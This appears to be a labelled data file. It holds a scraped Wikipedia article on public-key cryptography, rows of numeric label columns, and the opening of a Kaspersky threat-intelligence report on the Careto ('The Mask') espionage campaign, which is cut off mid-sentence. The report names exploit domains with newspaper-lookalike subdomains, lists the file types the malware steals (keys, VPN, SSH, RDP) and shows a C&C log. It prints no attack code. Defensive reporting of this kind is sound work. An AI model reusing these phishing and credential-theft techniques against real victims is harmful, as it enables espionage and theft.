cipher. In this example the message is only digitally signed and not encrypted. 1) Alice signs a message with her private key. 2) Bob can verify that Alice sent the message and that the message has not been modified. Public-key cryptography, or asymmetric cryptography, is a cryptographic system that uses pairs of keys: public keys which may be disseminated widely, and private keys which are known only to the owner. The generation of such keys depends on cryptographic algorithms based on mathematical problems to produce one-way functions. Effective security only requires keeping the private key private; the public key can be openly distributed without compromising security.[1] In such a system, any person can encrypt a message using the receiver's public key, but that encrypted message can only be decrypted with the receiver's private key. Robust authentication is also possible. A sender can combine a message with a private key to create a short digital signature on the message. Anyone with the corresponding public key can combine a message, a putative digital signature on it, and the known public key to verify whether the signature was valid, i.e. made by the owner of the corresponding private key.[2][3] Public key algorithms are fundamental security ingredients in modern cryptosystems, applications and protocols assuring the confidentiality, authenticity and non-repudiability of electronic communications and data storage. They underpin various Internet standards, such as Transport Layer Security (TLS), S/MIME, PGP, and GPG. Some public key algorithms provide key distribution and secrecy (e.g., Diffie\xe2\x80\x93Hellman key exchange), some provide digital signatures (e.g., Digital Signature Algorithm), and some provide both (e.g., RSA). Contents 1 Description 2 Applications 3 Weaknesses 3.1 Algorithms 3.2 Alteration of public keys 3.3 Public key infrastructure 4 Examples 5 History 5.1 Anticipation 5.2 Classified discovery 5.3 Public discovery 6 See also 7 Notes 8 References 9 External links Description[edit] Before the mid-1970s, all cipher systems were using symmetric key algorithms, in which the same cryptographic key is used with the underlying algorithm by both the sender and the recipient, who must both keep it secret. Of necessity, the key in every such system had to be exchanged between the communicating parties in some secure way prior to any use of the system \xe2\x80\x93 a secure channel. This requirement is never trivial and very rapidly becomes unmanageable as the number of participants increases, or when secure channels aren't available for key exchange, or when, (as is sensible cryptographic practice), keys are frequently changed. In particular, if messages are meant to be secure from other users, a separate key is required for each possible pair of users. By contrast, in a public key system, the public keys can be disseminated widely and openly, and only the private key needs to be kept secure by its owner. Two of the best-known uses of public key cryptography are: Public key encryption, in which a message is encrypted with a recipient's public key. The message cannot be decrypted by anyone who does not possess the matching private key, who is thus presumed to be the owner of that key and the person associated with the public key. This is used in an attempt to ensure confidentiality. Digital signatures, in which a message is signed with the sender's private key and can be verified by anyone who has access to the sender's public key. This verification proves that the sender had access to the private key, and therefore is likely to be the person associated with the public key. This also ensures that the message has not been tampered with, as a signature is mathematically bound to the message it originally was made with, and verification will fail for practically any other message, no matter how similar to the original message. One important issue is confidence/proof that a particular public key is authentic, i.e. that it is correct and belongs to the person or entity claimed, and has not been tampered with or replaced by a malicious third party. There are several possible approaches, including: A public key infrastructure (PKI), in which one or more third parties \xe2\x80\x93 known as certificate authorities \xe2\x80\x93 certify ownership of key pairs. TLS relies upon this. A ""web of trust"" which decentralizes authentication by using individual endorsements of the link between user and public key. PGP uses this approach, as well as lookup in the domain name system (DNS). The DKIM system for digitally signing emails also uses this approach. Applications[edit] The most obvious application of a public key encryption system is in encrypting communication to provide confidentiality \xe2\x80\x93 a message that a sender encrypts using the recipient's public key can be decrypted only by the recipient's paired private key. Another application in public key cryptography is the digital signature. Digital signature schemes can be used for sender authentication. Non-repudiation system use digital signatures to ensure that one party cannot successfully dispute its authorship of a document or communication. Further applications built on this foundation include: digital cash, password-authenticated key agreement, time-stamping services, non-repudiation protocols, etc. Because asymmetric key algorithms are nearly always much more computationally intensive than symmetric ones, in many cases it is common to exchange a key using a key-exchange algorithm, then transmit data using that key and a symmetric key algorithm. PGP, SSH, and the SSL/TLS family of schemes use this procedure, and are thus called hybrid cryptosystems. Weaknesses[edit] Like all security-related systems, it is important to identify potential weaknesses. Algorithms[edit] All public key schemes are in theory susceptible to a ""brute-force key search attack"".[citation needed] Such attacks are however impractical if the amount of computation needed to succeed \xe2\x80\x93 termed the ""work factor"" by Claude Shannon \xe2\x80\x93 is out of reach of all potential attackers. In many cases, the work factor can be increased by simply choosing a longer key. But other algorithms may have much lower work factors, making resistance to a brute-force attack irrelevant. Some special and specific algorithms have been developed to aid in attacking some public key encryption algorithms \xe2\x80\x93 both RSA and ElGamal encryption have known attacks that are much faster than the brute-force approach.[4] Major weaknesses have been found for several formerly promising asymmetric key algorithms. The ""knapsack packing"" algorithm was found to be insecure after the development of a new attack.[citation needed] Recently, some attacks based on careful measurements of the exact amount of time it takes known hardware to encrypt plain text have been used to simplify the search for likely decryption keys (a ""side-channel attack""). A great deal of active research is currently underway to both discover, and to protect against, new attack algorithms. Alteration of public keys[edit] Another potential security vulnerability in using asymmetric keys is the possibility of a ""man-in-the-middle"" attack, in which the communication of public keys is intercepted by a third party (the ""man in the middle"") and then modified to provide different public keys instead. Encrypted messages and responses must also be intercepted, decrypted, and re-encrypted by the attacker using the correct public keys for different communication segments, in all instances, so as to avoid suspicion. This attack may seem to be difficult to implement in practice, but it is not impossible when using insecure media (e.g., public networks, such as the Internet or wireless forms of communications) \xe2\x80\x93 for example, a malicious staff member at an Internet Service Provider (ISP) might find it quite easy to carry out. Public key infrastructure[edit] One approach to prevent such attacks involves the use of a public key infrastructure (PKI); a set of roles, policies, and procedures needed to create, manage, distribute, use, store and revoke digital certificates and manage public-key encryption. However, this in turn has potential weaknesses. For example, the certificate authority issuing the certificate must be trusted to have properly checked the identity of the key-holder, must ensure the correctness of the public key when it issues a certificate, must be secure from computer piracy, and must have made arrangements with all participants to check all their certificates before protected communications can begin. Web browsers, for instance, are supplied with a long list of ""self-signed identity certificates"" from PKI providers \xe2\x80\x93 these are used to check the bona fides of the certificate authority and then, in a second step, the certificates of potential communicators. An attacker who could subvert any single one of those certificate authorities into issuing a certificate for a bogus public key could then mount a ""man-in-the-middle"" attack as easily as if the certificate scheme were not used at all. In an alternate scenario rarely discussed, an attacker who penetrated an authority's servers and obtained its store of certificates and keys (public and private) would be able to spoof, masquerade, decrypt, and forge transactions without limit. Despite its theoretical and potential problems, this approach is widely used. Examples include TLS and its predecessor SSL, which are commonly used to provide security for web browser transactions (for example, to securely send credit card details to an online store). Aside from the resistance to attack of a particular key pair, the security of the certification hierarchy must be considered when deploying public key systems. Some certificate authority \xe2\x80\x93 usually a purpose-built program running on a server computer \xe2\x80\x93 vouches for the identities assigned to specific private keys by producing a digital certificate. Public key digital certificates are typically valid for several years at a time, so the associated private keys must be held securely over that time. When a private key used for certificate creation higher in the PKI server hierarchy is compromised, or accidentally disclosed, then a ""man-in-the-middle attack"" is possible, making any subordinate certificate wholly insecure. Examples[edit] Examples of well-regarded asymmetric key techniques for varied purposes include: Diffie\xe2\x80\x93Hellman key exchange protocol DSS (Digital Signature Standard), which incorporates the Digital Signature Algorithm ElGamal Various elliptic curve techniques Various password-authenticated key agreement techniques Paillier cryptosystem RSA encryption algorithm (PKCS#1) Cramer\xe2\x80\x93Shoup cryptosystem YAK authenticated key agreement protocol Examples of asymmetric key algorithms not widely adopted include: NTRUEncrypt cryptosystem McEliece cryptosystem Examples of notable \xe2\x80\x93 yet insecure \xe2\x80\x93 asymmetric key algorithms include: Merkle\xe2\x80\x93Hellman knapsack cryptosystem Examples of protocols using asymmetric key algorithms include: S/MIME GPG, an implementation of OpenPGP Internet Key Exchange PGP ZRTP, a secure VoIP protocol Transport Layer Security standardized by IETF and its predecessor Secure Socket Layer SILC SSH Bitcoin Off-the-Record Messaging History[edit] During the early history of cryptography, two parties would rely upon a key that they would exchange by means of a secure, but non-cryptographic, method such as a face-to-face meeting or a trusted courier. This key, which both parties kept absolutely secret, could then be used to exchange encrypted messages. A number of significant practical difficulties arise with this approach to distributing keys. Anticipation[edit] In his 1874 book The Principles of Science, William Stanley Jevons[5] wrote: Can the reader say what two numbers multiplied together will produce the number 8616460799?[6] I think it unlikely that anyone but myself will ever know.[7] Here he described the relationship of one-way functions to cryptography, and went on to discuss specifically the factorization problem used to create a trapdoor function. In July 1996, mathematician Solomon W. Golomb said: ""Jevons anticipated a key feature of the RSA Algorithm for public key cryptography, although he certainly did not invent the concept of public key cryptography.""[8] Classified discovery[edit] In 1970, James H. Ellis, a British cryptographer at the UK Government Communications Headquarters (GCHQ), conceived of the possibility of ""non-secret encryption"", (now called public key cryptography), but could see no way to implement it.[9] In 1973, his colleague Clifford Cocks implemented what has become known as the RSA encryption algorithm, giving a practical method of ""non-secret encryption"", and in 1974, another GCHQ mathematician and cryptographer, Malcolm J. Williamson, developed what is now known as Diffie\xe2\x80\x93Hellman key exchange. The scheme was also passed to the USA's National Security Agency.[10] With a military focus and low computing power, the power of public key cryptography was unrealised in both organisations: I judged it most important for military use ... if you can share your key rapidly and electronically, you have a major advantage over your opponent. Only at the end of the evolution from Berners-Lee designing an open internet architecture for CERN, its adaptation and adoption for the Arpanet ... did public key cryptography realise its full potential. \xe2\x80\x94Ralph Benjamin[10] Their discovery was not publicly acknowledged for 27 years, until the research was declassified by the British government in 1997.[11] Public discovery[edit] In 1976, an asymmetric key cryptosystem was published by Whitfield Diffie and Martin Hellman who, influenced by Ralph Merkle's work on public key distribution, disclosed a method of public key agreement. This method of key exchange, which uses exponentiation in a finite field, came to be known as Diffie\xe2\x80\x93Hellman key exchange. This was the first published practical method for establishing a shared secret-key over an authenticated (but not confidential) communications channel without using a prior shared secret. Merkle's ""public key-agreement technique"" became known as Merkle's Puzzles, and was invented in 1974 and published in 1978. In 1977, a generalization of Cocks' scheme was independently invented by Ron Rivest, Adi Shamir and Leonard Adleman, all then at MIT. The latter authors published their work in 1978, and the algorithm came to be known as RSA, from their initials. RSA uses exponentiation modulo a product of two very large primes, to encrypt and decrypt, performing both public key encryption and public key digital signature. Its security is connected to the extreme difficulty of factoring large integers, a problem for which there is no known efficient general technique. Since the 1970s, a large number and variety of encryption, digital signature, key agreement, and other techniques have been developed in the field of public key cryptography, including the Rabin cryptosystem, ElGamal encryption, DSA - and elliptic curve cryptography. See also[edit] Books on cryptography GNU Privacy Guard ID-based encryption (IBE) Key escrow Key-agreement protocol PGP word list Pretty Good Privacy Pseudonymity Public key fingerprint Public key infrastructure (PKI) Quantum computing Quantum cryptography Secure Shell (SSH) Transport Layer Security (TLS) Symmetric-key algorithm Threshold cryptosystem Web of trust Notes[edit] ^ Stallings, William (3 May 1990). Cryptography and Network Security: Principles and Practice. Prentice Hall. p.\xc2 165. ISBN\xc2 9780138690175. ^ Alfred J. Menezes, Paul C. van Oorschot, and Scott A. Vanstone (October 1996). ""11: Digital Signatures"" (PDF). Handbook of Applied Cryptography. CRC Press. ISBN\xc2 0-8493-8523-7. Retrieved 14 November 2016.CS1 maint: uses authors parameter (link) ^ Daniel J. Bernstein (1 May 2008). ""Protecting communications against forgery"" (PDF). Algorithmic Number Theory. MSRI Publications. 44. \xc2\xa75: Public-key signatures, pp. 543\xe2\x80\x93545. Retrieved 14 November 2016. ^ Mavroeidis, Vasileios, and Kamer Vishi, ""The Impact of Quantum Computing on Present Cryptography"", International Journal of Advanced Computer Science and Applications, 31 Mar. 2018 ^ Jevons, William Stanley, The Principles of Science: A Treatise on Logic and Scientific Method p. 141, Macmillan & Co., London, 1874, 2nd ed. 1877, 3rd ed. 1879. Reprinted with a foreword by Ernst Nagel, Dover Publications, New York, NY, 1958. ^ This came to be known as ""Jevons's number"". The only nontrivial factor pair is 89681 \xc3\x97 96079. ^ Principles of Science, Macmillan & Co., 1874, p. 141. ^ Golob, Solomon W. (1996). ""ON FACTORING JEVONS' NUMBER"". Cryptologia. 20 (3): 243. doi:10.1080/0161-119691884933. ^ Sawer, Patrick (11 March 2016). ""The unsung genius who secured Britain's computer defences and paved the way for safe online shopping"". The Telegraph. ^ a b Tom Espiner (26 October 2010). ""GCHQ pioneers on birth of public key crypto"". www.zdnet.com. ^ Singh, Simon (1999). The Code Book. Doubleday. pp.\xc2 279\xe2\x80\x93292. References[edit] Hirsch, Frederick J. ""SSL/TLS Strong Encryption: An Introduction"". Apache HTTP Server. Retrieved 17 April 2013. . The first two sections contain a very good introduction to public-key cryptography. Ferguson, Niels; Schneier, Bruce (2003). Practical Cryptography. Wiley. ISBN\xc2 0-471-22357-3. Katz, Jon; Lindell, Y. (2007). Introduction to Modern Cryptography. CRC Press. ISBN\xc2 1-58488-551-3. Menezes, A. J.; van Oorschot, P. C.; Vanstone, Scott A. (1997). Handbook of Applied Cryptography. ISBN\xc2 0-8493-8523-7. IEEE 1363: Standard Specifications for Public-Key Cryptography Christof Paar, Jan Pelzl, ""Introduction to Public-Key Cryptography"", Chapter 6 of ""Understanding Cryptography, A Textbook for Students and Practitioners"". (companion web site contains online cryptography course that covers public-key cryptography), Springer, 2009. External links[edit] Oral history interview with Martin Hellman, Charles Babbage Institute, University of Minnesota. Leading cryptography scholar Martin Hellman discusses the circumstances and fundamental insights of his invention of public key cryptography with collaborators Whitfield Diffie and Ralph Merkle at Stanford University in the mid-1970s. An account of how GCHQ kept their invention of PKE secret until 1997 v t e Public-key cryptography Algorithms Integer factorization Benaloh Blum\xe2\x80\x93Goldwasser Cayley\xe2\x80\x93Purser Damg\xc3\xa5rd\xe2\x80\x93Jurik GMR Goldwasser\xe2\x80\x93Micali Naccache\xe2\x80\x93Stern Paillier Rabin RSA Okamoto\xe2\x80\x93Uchiyama Schmidt\xe2\x80\x93Samoa Discrete logarithm BLS Cramer\xe2\x80\x93Shoup DH DSA ECDH ECDSA EdDSA EKE ElGamal signature scheme MQV Schnorr SPEKE SRP STS Lattice/SVP/CVP/LWE/SIS NTRUEncrypt NTRUSign RLWE-KEX RLWE-SIG BLISS Others AE CEILIDH EPOC HFE IES Lamport McEliece Merkle\xe2\x80\x93Hellman Naccache\xe2\x80\x93Stern knapsack cryptosystem Three-pass protocol XTR Theory Discrete logarithm Elliptic-curve cryptography Non-commutative cryptography RSA problem Trapdoor function Standardization CRYPTREC IEEE P1363 NESSIE NSA Suite B Post-Quantum Cryptography Standardization Topics Digital signature OAEP Fingerprint PKI Web of trust Key size Post-quantum cryptography v t e Cryptography History of cryptography Cryptanalysis Outline of cryptography Symmetric-key algorithm Block cipher Stream cipher Public-key cryptography Cryptographic hash function Message authentication code Random numbers Steganography Category WikiProject v t e TLS and SSL Protocols and technologies Transport Layer Security / Secure Sockets Layer (TLS/SSL) Datagram Transport Layer Security (DTLS) Server Name Indication (SNI) Application-Layer Protocol Negotiation (ALPN) DNS-based Authentication of Named Entities (DANE) DNS Certification Authority Authorization (CAA) HTTPS HTTP Strict Transport Security (HSTS) HTTP Public Key Pinning (HPKP) OCSP stapling Perfect forward secrecy STARTTLS Public-key infrastructure Automated Certificate Management Environment (ACME) Certificate authority (CA) CA/Browser Forum Certificate policy Certificate revocation list (CRL) Domain-validated certificate (DV) Extended Validation Certificate (EV) Online Certificate Status Protocol (OCSP) Public key certificate Public-key cryptography Public key infrastructure (PKI) Root certificate Self-signed certificate See also Domain Name System Security Extensions (DNSSEC) Internet Protocol Security (IPsec) Secure Shell (SSH) History Export of cryptography from the United States Server-Gated Cryptography Implementations Bouncy Castle BoringSSL Botan cryptlib GnuTLS JSSE LibreSSL MatrixSSL mbed TLS NSS OpenSSL RSA BSAFE S2n SChannel SSLeay stunnel wolfSSL Notaries Certificate Transparency Convergence HTTPS Everywhere Perspectives Project Vulnerabilities Theory Man-in-the-middle attack Padding oracle attack Cipher Bar mitzvah attack Protocol BEAST BREACH CRIME DROWN Logjam POODLE (in regards to SSL 3.0) Implementation Certificate authority compromise Random number generator attacks FREAK goto fail Heartbleed Lucky Thirteen attack POODLE (in regards to TLS 1.0) Kazakhstan MITM attack Authority control BNF: cb13554544f (data) GND: 4209133-0 LCCN: sh00004804 NDL: 00966793 Retrieved from ""https://en.wikipedia.org/w/index.php?title=Public-key_cryptography&oldid=914028032"" Categories: Anonymity networks Cryptographic software Cryptographic protocols Cryptography Public-key cryptography Banking technology Public key infrastructure Network architecture Hidden categories: CS1 maint: uses authors parameter Articles needing additional references from July 2018 All articles needing additional references Use dmy dates from July 2012 All articles with unsourced statements Articles with unsourced statements from December 2018 Wikipedia articles with BNF identifiers Wikipedia articles with GND identifiers Wikipedia articles with LCCN identifiers Wikipedia articles with NDL identifiers Navigation menu Personal tools Not logged in Talk Contributions Create account Log in Namespaces Article Talk Variants Views Read Edit View history More Search Navigation Main page Contents Featured content Current events Random article Donate to Wikipedia Wikipedia store Interaction Help About Wikipedia Community portal Recent changes Contact page Tools What links here Related changes Upload file Special pages Permanent link Page information Wikidata item Cite this page In other projects Wikimedia Commons Print/export Create a book Download as PDF Printable version Languages Afrikaans \xd8\xa7\xd9\x84\xd8\xb9\xd8\xb1\xd8\xa8\xd9\x8a\xd8\xa9 \xe0\xa6\xac\xe0\xa6\xbe\xe0\xa6\x82\xe0\xa6\xb2\xe0\xa6\xbe B\xc3\xa2n-l\xc3\xa2m-g\xc3\xba \xd0\x91\xd1\x8a\xd0\xbb\xd0\xb3\xd0\xb0\xd1\x80\xd1\x81\xd0\xba\xd0\xb8 Catal\xc3 \xc4\x8ce\xc5\xa1tina Deutsch Eesti \xce\x95\xce\xbb\xce\xbb\xce\xb7\xce\xbd\xce\xb9\xce\xba\xce\xac Espa\xc3\xb1ol Euskara \xd9\x81\xd8\xa7\xd8\xb1\xd8\xb3\xdb\x8c Fran\xc3\xa7ais \xed\x95\x9c\xea\xb5\xad\xec\x96\xb4 Italiano \xd7\xa2\xd7\x91\xd7\xa8\xd7\x99\xd7\xaa \xe1\x83\xa5\xe1\x83\x90\xe1\x83 \xe1\x83\x97\xe1\x83\xa3\xe1\x83\x9a\xe1\x83\x98 Latvie\xc5\xa1u Lietuvi\xc5\xb3 Lumbaart Magyar Malagasy \xe0\xb4\xae\xe0\xb4\xb2\xe0\xb4\xaf\xe0\xb4\xbe\xe0\xb4\xb3\xe0\xb4\x82 Bahasa Melayu Nederlands \xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e Norsk Norsk nynorsk Polski Portugu\xc3\xaas Rom\xc3\xa2n\xc4\x83 \xd0 \xd1\x83\xd1\x81\xd1\x81\xd0\xba\xd0\xb8\xd0\xb9 Shqip Simple English Sloven\xc5\xa1\xc4\x8dina \xd0\xa1\xd1\x80\xd0\xbf\xd1\x81\xd0\xba\xd0\xb8 / srpski Suomi Svenska \xe0\xb0\xa4\xe0\xb1\x86\xe0\xb0\xb2\xe0\xb1\x81\xe0\xb0\x97\xe0\xb1\x81 \xe0\xb9\x84\xe0\xb8\x97\xe0\xb8\xa2 T\xc3\xbcrk\xc3\xa7e \xd0\xa3\xd0\xba\xd1\x80\xd0\xb0\xd1\x97\xd0\xbd\xd1\x81\xd1\x8c\xd0\xba\xd0\xb0 \xd8\xa7\xd8\xb1\xd8\xaf\xd9\x88 Ti\xe1\xba\xbfng Vi\xe1\xbb\x87t \xe5\x90\xb4\xe8\xaf\xad \xe4\xb8\xad\xe6\x96\x87 Edit links This page was last edited on 4 September 2019, at 18:32\xc2 (UTC). Text is available under the Creative Commons Attribution-ShareAlike License; additional terms may apply. By using this site, you agree to the Terms of Use and Privacy Policy. Wikipedia\xc2\xae is a registered trademark of the Wikimedia Foundation, Inc., a non-profit organization. Privacy policy About Wikipedia Disclaimers Contact Wikipedia Developers Cookie statement Mobile view","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"1 TLP: GREEN \xef\x81\xb5 Unveiling \xe2\x80\x9cCareto\xe2\x80\x9d - The Masked APT Version 1.0 February 2014 2 TLP: GREEN 3 TLP: GREEN Table of contents 1. Executive Summary .................................................................................................................... 4 2. Analysis ........................................................................................................................................... 5 2.1. Campaign: The Mask attacks .......................................................................................... 5 2.2. Backdoor components ...................................................................................................... 8 2.2.1. Overview ........................................................................................................................ 9 2.2.2. The Careto backdoor .............................................................................................. 10 2.2.3. The SGH backdoor ................................................................................................... 18 2.2.4. The SBD backdoor ................................................................................................... 22 2.2.5. The OSX SBD backdoor .......................................................................................... 23 2.3. Digital certificates ............................................................................................................ 25 2.4. Exploit for Kaspersy\xc2\xb4s products ................................................................................. 26 2.5. Communication ................................................................................................................ 27 2.6. C&C Servers ........................................................................................................................ 29 2.7. Exploits ................................................................................................................................ 34 2.8. Victims.................................................................................................................................. 43 3. Attribution .................................................................................................................................. 46 4. Conclusions ................................................................................................................................. 47 Special thanks ................................................................................................................................. 47 APPENDIX 1: Indicators of compromise .............................................................................. 48 APPENDIX 2: SGH Modules \xe2\x80\x93 detailed analysis ................................................................. 51 APPENDIX 3: C&C registration information ....................................................................... 64 Contact information For any inquires please contact intelreports@kaspersky.com 4 TLP: GREEN 1. Executive Summary The Mask is an advanced threat actor that has been involved in cyber-espionage operations since at least 2007. The name ""Mask"" comes from the Spanish slang word ""Careto"" (""Ugly Face"" or \xe2\x80\x9cMask\xe2\x80\x9d) which the authors included in some of the malware modules. Figure 1. Careto strings The main targets of Careto fall into several categories: \xe2\x97\x8f Government institutions \xe2\x97\x8f Diplomatic / embassies \xe2\x97\x8f Energy, oil and gas \xe2\x97\x8f Private companies \xe2\x97\x8f Research institutions \xe2\x97\x8f Private equity firms \xe2\x97\x8f Activists More than 380 unique victims in 31 countries have been observed to date. What makes \xe2\x80\x9cThe Mask\xe2\x80\x9d special is the complexity of the toolset used by the attackers. This includes an extremely sophisticated malware, a rootkit, a bootkit, 32- and 64-bit Windows versions, Mac OS X and Linux versions and possibly versions for Android and iPad/iPhone (Apple iOS). The Mask also uses a customized attack against older versions of Kaspersky Lab products to hide in the system, putting them above Duqu in terms of sophistication and making it one of the most advanced threats at the moment. This and several other factors make us believe this could be a nation-state sponsored campaign. When active in a victim system, The Mask can intercept network traffic, keystrokes, Skype conversations, PGP keys, analyse WiFi traffic, fetch all information from Nokia devices, screen captures and monitor all file operations. The malware collects a large list of documents from the infected system, including encryption keys, VPN configurations, SSH keys and RDP files. There are also several extensions being monitored that we have not been able to identify and could be related to custom military/government-level encryption tools. Based on artifacts found in the code, the authors of the Mask appear to be speaking the Spanish language. 5 TLP: GREEN 2. Analysis We initially became aware of Careto when we observed attempts to exploit a vulnerability in our products to make the malware \xe2\x80\x9cinvisible\xe2\x80\x9d in the system. Although we fixed this vulnerability sometime ago, the attackers were probably still using it because users may not have updated to the newest products (product updates are free during the subscription period). Of course, this raised our interest and we decided to investigate further. In other words, the attackers attracted our attention by attempting to exploit Kaspersky Lab products. 2.1. Campaign: The Mask attacks The Mask campaign we discovered relies on spear-phishing e-mails with links to a malicious website. The malicious website contains a number of exploits designed to infect the visitor. Upon successful infection, the malicious website redirects the user to a benign website, which can be a Youtube movie or a news portal. During our research, we observed the following exploit websites: \xef\x82\xb7 linkconf.net \xef\x82\xb7 redirserver.net \xef\x82\xb7 swupdt.com It's important to note that the exploit websites do not automatically infect visitors; instead, the attackers host the exploits at specific folders on the website, which are not directly referenced anywhere, except in malicious e-mails. Sometimes, the attackers use subdomains on the exploit websites, to make them appear more genuine. For instance, the following subdomains the for exploit site ""linkconf.net"" have been observed: \xef\x82\xb7 negocios.iprofesional.linkconf.net/ \xef\x82\xb7 www.internacional.elpais.linkconf.net/ \xef\x82\xb7 politica.elpais.linkconf.net/ \xef\x82\xb7 cultura.elpais.linkconf.net/ \xef\x82\xb7 economia.elpais.linkconf.net/ \xef\x82\xb7 test.linkconf.net/ \xef\x82\xb7 soc.linkconf.net/ \xef\x82\xb7 sociedad.elpais.linkconf.net/ \xef\x82\xb7 world.time.linkconf.net/ \xef\x82\xb7 internacional.elpais.linkconf.net/ \xef\x82\xb7 elpais.linkconf.net/ \xef\x82\xb7 www.elespectador.linkconf.net/ \xef\x82\xb7 blogs.independent.linkconf.net/ \xef\x82\xb7 www.elmundo.linkconf.net/ \xef\x82\xb7 www.guardian.linkconf.net/ \xef\x82\xb7 www.washingtonsblog.linkconf.net/ \xef\x82\xb7 www.publico.linkconf.net/ 6 TLP: GREEN Most of these subdomains simulate subsections of the main newspapers in Spain plus some international ones like The Guardian"" and Washington Post. To minimize the chances of detection, the malware is digitally signed with a valid certificate (since 2010) from an unknown or fake company, called TecSystem Ltd: Figure 2: Digital signature We can estimate the duration of the campaign analyzing the compilation time of the samples. In some of them, the older ones, we are not so sure this data is very reliable: 7 TLP: GREEN Figure 3: Compilation time of samples 0 1 2 3 4 5 6 7 _2007 _2008 _2009 _2010 _2011 _2012 _2013 8 TLP: GREEN 2.2. Backdoor components \xe2\x80\x9cThe Mask\xe2\x80\x9d leverages three separate backdoors. One of them is an extremely sophisticated malware, while there are also a rootkit, bootkit, 32 and 64 bits Windows versions and Mac OS X versions. We have detected traces of Linux versions, and possibly versions for iPad/iPhone and Android, however we have not been able to retrieve the samples. Traces of components for MacOS and iPad versions found in one of the C&C servers:

REPORT

Trace ID: 13xxx_0_mcga
Date: Wed, 15 May 2013 23:34:01 +0000
Remote IP Address: 200.x.x.x

** User Agent

Browser User Agent String: Mozilla/5.0 (iPad; CPU OS 6_1_3 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Mobile/10B329

Browser Name: iPad
Platform: MacOS
Platform Version:10.7.5
Architecture: 32

** Environment Variables

*** Environment Variables

REMOTE_ADDR: 88.x.x.x
HTTP_USER_AGENT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17
The Mask\xe2\x80\x99s implants can intercept network traffic, keystrokes, Skype conversations, analyse WiFi traffic, PGP keys, fetch all information from Nokia devices, screen captures and monitor all file operations. The malware collects a large list of documents from the infected system, including encryption keys, VPN configurations, SSH keys and RDP files. There are also several unknown extensions being monitored that we have not been able to identify and could be related to custom military/government-level encryption tools. Full list of stolen files extensions: *.AKF,*.ASC,*.AXX,*.CFD,*.CFE,*.CRT,*.DOC,*.DOCX,*.EML,*.ENC,*.GMG, *.GPG,*.HSE,*.KEY,*.M15,*.M2F,*.M2O,*.M2R,*.MLS,*.OCFS,*.OCU,*.ODS, *.ODT,*.OVPN,*.P7C,*.P7M,*.P7Z,*.PAB,*.PDF,*.PGP,*.PKR,*.PPK,*.PSW,*. PXL,*.RDP,*.RTF,*.SDC,*.SDW,*.SKR,*.SSH,*.SXC,*.SXW,*.VSD,*.WAB,*. WPD,*.WPS,*.WRD,*.XLS,*.XLSX, Inside the main Careto binaries there is a CAB file with two modules - 32 and 64-bit. shlink32.dll shlink64.dll 9 TLP: GREEN The malware extracts one of them depending on the system architecture and installs it as ""objframe.dll"". Inside the backdoor there are three executable files, once again, packed with CAB and having the .jpg extension: dinner.jpg waiter.jpg chef.jpg. The attackers call the more sophisticated malware SGH. We discovered the attackers trying to install multiple plugins for it. Also we have found traces of lateral movement tools, such as a module for Metasploit with the \xe2\x80\x9cwin7elevate\xe2\x80\x9d artifact. 2.2.1. Overview The attackers use two software packages and several related utilities. The main software packages are named \xe2\x80\x9cCareto\xe2\x80\x9d and \xe2\x80\x9cSGH\xe2\x80\x9d. The backdoor package called \xe2\x80\x9cCareto\xe2\x80\x9d is a general purpose backdoor that consists of user-level components. It collects system information and executes arbitrary code provided by the C&C infrastructure. The backdoor package called \xe2\x80\x9cSGH\xe2\x80\x9d is more advanced and primarily works in kernel mode. It contains rootkit components and interceptor modules for system events and file operations. It steals files and maintains its own connection to C&C servers. In addition to \xe2\x80\x9cCareto\xe2\x80\x9d and \xe2\x80\x9cSGH\xe2\x80\x9d, we observed the usage of a custom compiled backdoor based on the \xe2\x80\x9csbd\xe2\x80\x9d open source \xe2\x80\x9cnetcat\xe2\x80\x9d clone (https://www.freshports.org/net/sbd/). This \xe2\x80\x9csbd\xe2\x80\x9d clone has been observed in variants for Win32, Mac OS X and Linux. During the investigation, we were able to obtain the Win32 and Mac OS X versions; the Linux variant was badly damaged and could not be recovered. While Careto and SGH can also work as a \xe2\x80\x9cstandalone\xe2\x80\x9d implant, we observed the C&C installing one package using the other one - for instance, a victim infected with Careto would get the SGH as well. Additionally, several utilities like the uninstaller module \xe2\x80\x9cknows\xe2\x80\x9d about both of them, meaning they are commonly used together, although they may have been designed separately. Files from the backdoor packages used by the \xe2\x80\x9cMask\xe2\x80\x9d are signed using the same certificate, belonging to a (fake?) Bulgarian company named \xe2\x80\x9cTecSystem Ltd.\xe2\x80\x9d. https://www.freshports.org/net/sbd/ 10 TLP: GREEN 2.2.2. The Careto backdoor Careto is the name given by the attackers to one of the two main implants used on victims\xe2\x80\x99 machines. Careto is a Spanish slang term, meaning \xe2\x80\x9cugly face\xe2\x80\x9d or \xe2\x80\x9cmask\xe2\x80\x9d. Installation module - Microsoft Windows version The \xe2\x80\x9cCareto\xe2\x80\x9d software package is installed using a standalone executable installer. Once the installer is delivered and executed on the victim machine, it extracts the components and sets them up. File type: PE32, Windows Executable file Compilation timestamp: 2007.08.14 01:45:14 (GMT) - (all known variants) File sizes: 320.328, 320.904 bytes. Technical details The files are compiled with Visual Studio 2005. There are several known versions of the installer module that contain a correct but expired digital signature: Name of signer: TecSystem Ltd., Sofia, BG Serial: 36BE4AD457F062FA77D87595B8CCC8CF Valid: 2011.06.28 \xe2\x80\x93 2013.06.28 Digital signature All the important strings and the payload are encrypted. When started, the module checks for the presence of \xe2\x80\x9cBaseNamedObject\xe2\x80\x9d EVENT 